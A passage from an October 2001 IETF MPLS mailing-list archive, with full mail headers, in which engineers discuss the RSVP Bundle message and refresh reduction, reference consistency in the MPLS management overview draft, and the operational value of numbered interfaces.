	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmhu08835;
	Thu, 25 Oct 2001 20:38:44 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmhu00172
	for mpls-outgoing; Thu, 25 Oct 2001 20:38:38 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmhu00166
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 20:38:31 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmhu11434
	for <mpls@uu.net>; Thu, 25 Oct 2001 20:38:04 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmhu17739
	for <mpls@uu.net>; Thu, 25 Oct 2001 20:38:23 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA09440 for <mpls@uu.net>; Thu, 25 Oct 2001 16:38:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA24670 for mpls@uu.net; Thu, 25 Oct 2001 16:38:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmhu00127
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 20:37:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmhu08821
	for <mpls@UU.NET>; Thu, 25 Oct 2001 20:37:04 GMT
Received: from ce-nfs-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ce-nfs-1.cisco.com [171.68.227.69])
	id QQlmhu05739
	for <mpls@UU.NET>; Thu, 25 Oct 2001 20:36:54 GMT
Received: from YHASAN-W2K5.cisco.com (sjck-dial-gw5-240.cisco.com [10.19.238.241])
	by ce-nfs-1.cisco.com (8.8.8+Sun/8.8.8) with ESMTP id NAA08054;
	Thu, 25 Oct 2001 13:36:59 -0700 (PDT)
Message-Id: <4.3.2.7.2.20011025133529.02cb24a8@ce-nfs-1.cisco.com>
X-Sender: yhasan@ce-nfs-1.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 25 Oct 2001 13:36:53 -0700
To: David Charlap <David.Charlap@marconi.com>
From: Yousuf Hasan <yhasan@cisco.com>
Subject: Re: RFC2961 BUNDLE message
Cc: "'mpls@uu.net'" <mpls@UU.NET>
In-Reply-To: <3BD86BE6.5EC53486@marconi.com>
References: <4.3.2.7.2.20011025121200.02cbce58@ce-nfs-1.cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

At 03:45 PM 10/25/2001 -0400, David Charlap wrote:
>Yousuf Hasan wrote:
>>
>> The Summary Refresh helps solve the scaling issue a little more,
>> but it can only be used for messages in steady state.
>
>Which is the point of refresh reduction.  If your state is changing,
>then you need to modify state, not refresh it.

Agreed..

Thanks


>All protocols experience high load when things are rapidly changing. 
>The only solution to that problem is to not process packets as fast as
>you might otherwise be able to.  Which is what happens (among other
>things) when damping is used to minimize the effect of rapid route
>flapping in routing protocols.
>
>-- David 



From owner-mpls@UU.NET  Thu Oct 25 17:53:03 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA00899
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 17:53:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmhz11053;
	Thu, 25 Oct 2001 21:52:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmhz25107
	for mpls-outgoing; Thu, 25 Oct 2001 21:52:47 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmhz25098
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 21:52:43 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmhz06702
	for <mpls@uu.net>; Thu, 25 Oct 2001 21:52:27 GMT
Received: from fcs-nt1.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fcs-nt1.futsoft.com [66.122.42.228])
	id QQlmhz11898
	for <mpls@uu.net>; Thu, 25 Oct 2001 21:52:45 GMT
Received: from sanjose.futsoft.com (unverified) by fcs-nt1.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with SMTP id <B0000411405@fcs-nt1.futsoft.com>;
 Thu, 25 Oct 2001 14:54:07 -0700
Received: from manis (adsl-66-122-42-231.futsoft.com [66.122.42.231])
	by sanjose.futsoft.com (8.9.3/8.8.7) with SMTP id NAA22169;
	Thu, 25 Oct 2001 13:35:47 -0700
Received: by localhost with Microsoft MAPI; Thu, 25 Oct 2001 14:56:56 -0700
Message-Id: <01C15D65.4A976380.manis@futsoft.com>
From: "S.Manikantan" <manis@futsoft.com>
Reply-To: "manis@futsoft.com" <manis@futsoft.com>
To: "'Cheenu Srinivasan'" <cheenu@alphion.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'"
	 <ccamp@ops.ietf.org>
Subject: RE: draft-ietf-mpls-mgmt-overview-00.txt posted
Date: Thu, 25 Oct 2001 14:56:55 -0700
Organization: Future Communications Software
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello Cheenu

Yes. LSR MIB is provided as second item in section 8.

My comment was w.r.t the cross reference. I meant 

>    The MPLS-LSR-MIB describes managed objects for modeling a

Should it be "The MPLS-LSR-MIB [LSRMIB] describes managed objects for modeling a"

reason this was the first time it is mentioned in this section. the cross references
were used for the other MIBs in the other sections..

Hope I have it clear now :)

I have two more comments.

Comment 8 :

In the document I noticed in some places " XXX-YY-MIB [AAMIB]" 
and in some places say "XXX-YY-MIB" .

for example "MPLS-LSR-MIB [LSRMIB]" mentioned at some places 
and "MPLS-LSR-MIB" at some places. Any specific reason?? or 
they will be made consistent?

Comment 9:
The [LDPMIB] reference needs to be added in section 8 references. Currently
I think it is missed out.

with best regards
mani



-----Original Message-----
From:	Cheenu Srinivasan [SMTP:cheenu@alphion.com]
Sent:	Thursday, October 25, 2001 11:58 AM
To:	'manis@futsoft.com'
Cc:	'mpls@uu.net'; 'ccamp@ops.ietf.org'
Subject:	RE: draft-ietf-mpls-mgmt-overview-00.txt posted

> Please find below my comments on the draft.

That was really quick! The corrections you pointed out will
show up in the next revision. One comment.

> Comment 3:
> "4.2.  MPLS-LSR-MIB
>    
>    The MPLS-LSR-MIB describes managed objects for modeling a
>                ^^^^^^^^
>    ..."
> 
> Mani>> The reference to LSRMIB needs to be added?? 

Its already there (the 2nd reference).

Cheenu


From owner-mpls@UU.NET  Thu Oct 25 18:23:57 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA01321
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 18:23:57 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmib03836;
	Thu, 25 Oct 2001 22:23:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmib16681
	for mpls-outgoing; Thu, 25 Oct 2001 22:23:45 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmib16670
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 22:23:41 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmib17719
	for <mpls@UU.NET>; Thu, 25 Oct 2001 22:23:27 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmib02738
	for <mpls@UU.NET>; Thu, 25 Oct 2001 22:23:17 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA03844;
	Thu, 25 Oct 2001 18:23:24 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id SAA20155;
	Thu, 25 Oct 2001 18:23:26 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <VJHLD764>; Thu, 25 Oct 2001 18:23:25 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5554C942@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'Naiming Shen'" <naiming@redback.com>
Cc: "'Eric Gray'" <eric.gray@sandburst.com>, mpls@UU.NET
Subject: RE: Questions on unnumbered links 
Date: Thu, 25 Oct 2001 18:23:18 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Naiming:

-> 	The ping to the unnumbered interface, the draft is talking about
-> network operation issues. It's very common for NOC engineers to ping
-> remote router's interface IP addresses to determine if a 
-> link is up or
-> down, while ping to a router's loopback cannot determine a specific
-> link status; a traceroute does not show which link it 
-> traverses through
-> if a unnumbered address is used; you can't put link's name 
-> in DNS record
-> if its unnumbered; if you have parallel links between two routers, if
-> one link is not being used, a good troubleshooting way will 
-> be to ping
-> the other side interface IP address of this link(this assumes showing
-> both sides line status up but it just does not work somehow); when a
-> snmp trap comes into operation center, wouldn't it be nice to see
-> "oc12-link2-core2-ny-dc.xyz.net just down" instead of
-> "core2-ny.xyz.net link 238 just down"? All being said above, 
-> unnumbered
-> interface is VERY useful.

  I agree...

--Venkata Naidu


From owner-mpls@UU.NET  Thu Oct 25 18:41:48 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA01509
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 18:41:47 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmhy01986;
	Thu, 25 Oct 2001 21:31:50 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmhy23433
	for mpls-outgoing; Thu, 25 Oct 2001 21:31:18 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmhy23428
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 21:31:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmhy13093
	for <mpls@uu.net>; Thu, 25 Oct 2001 21:30:59 GMT
Received: from alpha.tellium.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alpha.tellium.com [151.198.92.2])
	id QQlmhy04667
	for <mpls@uu.net>; Thu, 25 Oct 2001 21:30:49 GMT
Received: from Unknown [192.168.24.13] by alpha.tellium.com - SuperScout Email Filter ; Thursday, 25 October 2001, 17:30:21
Received: by mail1.tellium.com with Internet Mail Service (5.5.2650.21)
	id <VSAAF249>; Thu, 25 Oct 2001 17:31:14 -0400
Message-ID: <0CD7D73C734BD411AEE100B0D022040403573DB7@mail1.tellium.com>
From: Dimitrios Pendarakis <DPendarakis@tellium.com>
To: "'Yousuf Hasan'" <yhasan@cisco.com>, "Feng, Mark" <m_feng@trillium.com>
Cc: "'Arvind, K'" <arvind@tenornetworks.com>, "'mpls@uu.net'"
	 <mpls@UU.NET>
Subject: RE: RFC2961 BUNDLE message
Date: Thu, 25 Oct 2001 17:31:13 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


One benefit of the Bundle message, which might be more
relevant in the optical domain, is that it potentially 
could be used to signal set-up of multiple LSPs (lightpaths) 
at the same time.

There was some discussion in the context of the OIF UNI
about signaling multiple lightpaths simultaneously; but
it was not included in the final UNI 1.0 spec.
The idea was that it would be beneficial to path computation, 
for example.

Dimitris


> -----Original Message-----
> From: Yousuf Hasan [mailto:yhasan@cisco.com]
> Sent: Thursday, October 25, 2001 3:27 PM
> To: Feng, Mark
> Cc: 'Arvind, K'; 'mpls@uu.net'
> Subject: RE: RFC2961 BUNDLE message
> 
> 
> At 12:07 PM 10/25/2001 -0700, Feng, Mark wrote:
> >One thing it saves is the IP header, since multiple RSVP 
> message will be
> >packed into one.
> 
> The Summary Refresh helps solve the scaling issue a little 
> more, but it can only be used for messages in steady state.  
> Thanks
> 
> -Yousuf 
> 
> 
> 
> >If the question is, by the Bundle message itself, helps the 
> scaling problem.
> >IMO, not a whole lot.
> >
> >- Mark
> >
> >> -----Original Message-----
> >> From: Arvind, K [mailto:arvind@tenornetworks.com]
> >> Sent: Thursday, October 25, 2001 11:47 AM
> >> To: 'mpls@uu.net'
> >> Cc: Arvind, K
> >> Subject: RFC2961 BUNDLE message
> >> 
> >> 
> >> Does the BUNDLE message offer any real benefit in terms of 
> >> reducing control
> >> overhead? There seems to be no significant change in the 
> >> overall amount of
> >> control traffic that is generated or processed as a result of 
> >> bundling (even
> >> though the traffic is bunched together resulting in fewer 
> (but larger)
> >> messages). Does this mechanism really help in scaling RSVP?  
> >> Could someone
> >> throw light on this? Thanks.
> >> 
> >> Regards,
> >> Arvind.
> >> 
> 
> 



From owner-mpls@UU.NET  Thu Oct 25 19:54:23 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA02445
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 19:54:23 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmih15143;
	Thu, 25 Oct 2001 23:54:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmih12393
	for mpls-outgoing; Thu, 25 Oct 2001 23:54:07 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmih12383
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 23:53:59 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmih17971
	for <mpls@uu.net>; Thu, 25 Oct 2001 23:52:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmih22018
	for <mpls@uu.net>; Thu, 25 Oct 2001 23:52:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id TAA27287 for <mpls@uu.net>; Thu, 25 Oct 2001 19:52:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id TAA03193 for mpls@uu.net; Thu, 25 Oct 2001 19:52:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlmih12102
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 25 Oct 2001 23:48:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmih24811
	for <mpls@UU.NET>; Thu, 25 Oct 2001 23:48:43 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlmih16109
	for <mpls@UU.NET>; Thu, 25 Oct 2001 23:49:02 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id TAA27046; Thu, 25 Oct 2001 19:48:31 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABE16153;
	Thu, 25 Oct 2001 19:48:30 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011025194818.03fb9b60@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 25 Oct 2001 19:49:29 -0400
To: "manis@futsoft.com" <manis@futsoft.com>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: RE: draft-ietf-mpls-mgmt-overview-00.txt posted
Cc: "'Cheenu Srinivasan'" <cheenu@alphion.com>, "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>
In-Reply-To: <01C15D65.4A976380.manis@futsoft.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_125422267==_.ALT"
Sender: owner-mpls@UU.NET
Precedence: bulk

--=====================_125422267==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

At 02:56 PM 10/25/2001 -0700, S.Manikantan wrote:
>Hello Cheenu
>
>Yes. LSR MIB is provided as second item in section 8.
>
>My comment was w.r.t the cross reference. I meant
>
> >    The MPLS-LSR-MIB describes managed objects for modeling a
>
>Should it be "The MPLS-LSR-MIB [LSRMIB] describes managed objects for 
>modeling a"
>
>reason this was the first time it is mentioned in this section. the cross 
>references
>were used for the other MIBs in the other sections..
>
>Hope I have it clear now :)
>
>I have two more comments.
>
>Comment 8 :
>
>In the document I noticed in some places " XXX-YY-MIB [AAMIB]"
>and in some places say "XXX-YY-MIB" .
>
>for example "MPLS-LSR-MIB [LSRMIB]" mentioned at some places
>and "MPLS-LSR-MIB" at some places. Any specific reason?? or
>they will be made consistent?

         Lets not get carried away here. I think that if we reference one
of the MIBs once, that is sufficient for someone to track down
the reference. No need to put a reference every place the
term is used.

         --Tom


>Comment 9:
>The [LDPMIB] reference needs to be added in section 8 references. Currently
>I think it is missed out.
>
>with best regards
>mani
>
>
>
>-----Original Message-----
>From:   Cheenu Srinivasan [SMTP:cheenu@alphion.com]
>Sent:   Thursday, October 25, 2001 11:58 AM
>To:     'manis@futsoft.com'
>Cc:     'mpls@uu.net'; 'ccamp@ops.ietf.org'
>Subject:        RE: draft-ietf-mpls-mgmt-overview-00.txt posted
>
> > Please find below my comments on the draft.
>
>That was really quick! The corrections you pointed out will
>show up in the next revision. One comment.
>
> > Comment 3:
> > "4.2.  MPLS-LSR-MIB
> >
> >    The MPLS-LSR-MIB describes managed objects for modeling a
> >                ^^^^^^^^
> >    ..."
> >
> > Mani>> The reference to LSRMIB needs to be added??
>
>Its already there (the 2nd reference).
>
>Cheenu



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 
--=====================_125422267==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3>At 02:56 PM 10/25/2001 -0700, S.Manikantan wrote:<br>
<blockquote type=cite cite>Hello Cheenu<br>
<br>
Yes. LSR MIB is provided as second item in section 8.<br>
<br>
My comment was w.r.t the cross reference. I meant <br>
<br>
&gt;&nbsp;&nbsp;&nbsp; The MPLS-LSR-MIB describes managed objects for
modeling a<br>
<br>
Should it be &quot;The MPLS-LSR-MIB [LSRMIB] describes managed objects
for modeling a&quot;<br>
<br>
reason this was the first time it is mentioned in this section. the cross
references<br>
were used for the other MIBs in the other sections..<br>
<br>
Hope I have it clear now :)<br>
<br>
I have two more comments.<br>
<br>
Comment 8 :<br>
<br>
In the document I noticed in some places &quot; XXX-YY-MIB [AAMIB]&quot;
<br>
and in some places say &quot;XXX-YY-MIB&quot; .<br>
<br>
for example &quot;MPLS-LSR-MIB [LSRMIB]&quot; mentioned at some places
<br>
and &quot;MPLS-LSR-MIB&quot; at some places. Any specific reason?? or
<br>
they will be made consistent?</font></blockquote><br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>Lets not
get carried away here. I think that if we reference one <br>
of the MIBs once, that is sufficient for someone to track down<br>
the reference. No need to put a reference every place the<br>
term is used.<br>
<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>--Tom<br>
<br>
<br>
<blockquote type=cite cite><font size=3>Comment 9:<br>
The [LDPMIB] reference needs to be added in section 8 references.
Currently<br>
I think it is missed out.<br>
<br>
with best regards<br>
mani<br>
<br>
<br>
<br>
-----Original Message-----<br>
From:<x-tab>&nbsp;&nbsp;&nbsp;</x-tab>Cheenu Srinivasan
[SMTP:cheenu@alphion.com]<br>
Sent:<x-tab>&nbsp;&nbsp;&nbsp;</x-tab>Thursday, October 25, 2001 11:58
AM<br>
To:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>'manis@futsoft.com'<br>
Cc:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>'mpls@uu.net';
'ccamp@ops.ietf.org'<br>
Subject:<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>RE:
draft-ietf-mpls-mgmt-overview-00.txt posted<br>
<br>
&gt; Please find below my comments on the draft.<br>
<br>
That was really quick! The corrections you pointed out will<br>
show up in the next revision. One comment.<br>
<br>
&gt; Comment 3:<br>
&gt; &quot;4.2.&nbsp; MPLS-LSR-MIB<br>
&gt;&nbsp;&nbsp;&nbsp; <br>
&gt;&nbsp;&nbsp;&nbsp; The MPLS-LSR-MIB describes managed objects for
modeling a<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^^^^^^^^<br>
&gt;&nbsp;&nbsp;&nbsp; ...&quot;<br>
&gt; <br>
&gt; Mani&gt;&gt; The reference to LSRMIB needs to be added?? <br>
<br>
Its already there (the 2nd reference).<br>
<br>
Cheenu </font></blockquote><br>
<br>
<br>
<div>------------------------------------------------------------------------</div>
Mathematics is the supreme nostalgia of our time. 
</html>

--=====================_125422267==_.ALT--



From owner-mpls@UU.NET  Thu Oct 25 20:04:38 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02643
	for <mpls-archive@lists.ietf.org>; Thu, 25 Oct 2001 20:04:38 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmii15132;
	Fri, 26 Oct 2001 00:05:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmii23377
	for mpls-outgoing; Fri, 26 Oct 2001 00:04:26 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmii23365
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 26 Oct 2001 00:04:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmii02246
	for <mpls@uu.net>; Fri, 26 Oct 2001 00:04:02 GMT
Received: from fcs-nt1.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fcs-nt1.futsoft.com [66.122.42.228])
	id QQlmii01050
	for <mpls@uu.net>; Fri, 26 Oct 2001 00:04:09 GMT
Received: from sanjose.futsoft.com (unverified) by fcs-nt1.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with SMTP id <B0000411542@fcs-nt1.futsoft.com>;
 Thu, 25 Oct 2001 17:05:08 -0700
Received: from manis (adsl-66-122-42-231.futsoft.com [66.122.42.231])
	by sanjose.futsoft.com (8.9.3/8.8.7) with SMTP id PAA23041;
	Thu, 25 Oct 2001 15:46:48 -0700
Received: by localhost with Microsoft MAPI; Thu, 25 Oct 2001 17:07:39 -0700
Message-Id: <01C15D77.8D7793C0.manis@futsoft.com>
From: "S.Manikantan" <manis@futsoft.com>
Reply-To: "manis@futsoft.com" <manis@futsoft.com>
To: "'Thomas Nadeau'" <tnadeau@cisco.com>
Cc: "'Cheenu Srinivasan'" <cheenu@alphion.com>,
        "'mpls@uu.net'"
	 <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>
Subject: RE: draft-ietf-mpls-mgmt-overview-00.txt posted
Date: Thu, 25 Oct 2001 17:07:38 -0700
Organization: Future Communications Software
X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello Tom

I agree with you, that the reference need not be placed
at all places.. But for the convenience of the readers, we
can have some consistency in the doc.

Currently the reference appears at some places and 
not at others.. My suggestion is, can this be made
consistent.. ie.
1) place at the first instance and leave it other places
2 or place at all places

Forgive me if my suggestion is stupid or If I am felt
bugging :)

with best regards
mani

-----Original Message-----
From:	Thomas Nadeau [SMTP:tnadeau@cisco.com]
Sent:	Thursday, October 25, 2001 4:49 PM
To:	manis@futsoft.com
Cc:	'Cheenu Srinivasan'; 'mpls@uu.net'; 'ccamp@ops.ietf.org'
Subject:	RE: draft-ietf-mpls-mgmt-overview-00.txt posted

At 02:56 PM 10/25/2001 -0700, S.Manikantan wrote:
>Hello Cheenu
>
>Yes. LSR MIB is provided as second item in section 8.
>
>My comment was w.r.t the cross reference. I meant
>
> >    The MPLS-LSR-MIB describes managed objects for modeling a
>
>Should it be "The MPLS-LSR-MIB [LSRMIB] describes managed objects for 
>modeling a"
>
>reason this was the first time it is mentioned in this section. the cross 
>references
>were used for the other MIBs in the other sections..
>
>Hope I have it clear now :)
>
>I have two more comments.
>
>Comment 8 :
>
>In the document I noticed in some places " XXX-YY-MIB [AAMIB]"
>and in some places say "XXX-YY-MIB" .
>
>for example "MPLS-LSR-MIB [LSRMIB]" mentioned at some places
>and "MPLS-LSR-MIB" at some places. Any specific reason?? or
>they will be made consistent?

         Lets not get carried away here. I think that if we reference one
of the MIBs once, that is sufficient for someone to track down
the reference. No need to put a reference every place the
term is used.

         --Tom


>Comment 9:
>The [LDPMIB] reference needs to be added in section 8 references. Currently
>I think it is missed out.
>
>with best regards
>mani
>
>
>
>-----Original Message-----
>From:   Cheenu Srinivasan [SMTP:cheenu@alphion.com]
>Sent:   Thursday, October 25, 2001 11:58 AM
>To:     'manis@futsoft.com'
>Cc:     'mpls@uu.net'; 'ccamp@ops.ietf.org'
>Subject:        RE: draft-ietf-mpls-mgmt-overview-00.txt posted
>
> > Please find below my comments on the draft.
>
>That was really quick! The corrections you pointed out will
>show up in the next revision. One comment.
>
> > Comment 3:
> > "4.2.  MPLS-LSR-MIB
> >
> >    The MPLS-LSR-MIB describes managed objects for modeling a
> >                ^^^^^^^^
> >    ..."
> >
> > Mani>> The reference to LSRMIB needs to be added??
>
>Its already there (the 2nd reference).
>
>Cheenu



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time.  << File: ATT00014.htm >> 


From owner-mpls@UU.NET  Thu Oct 25 20:13:36 2001
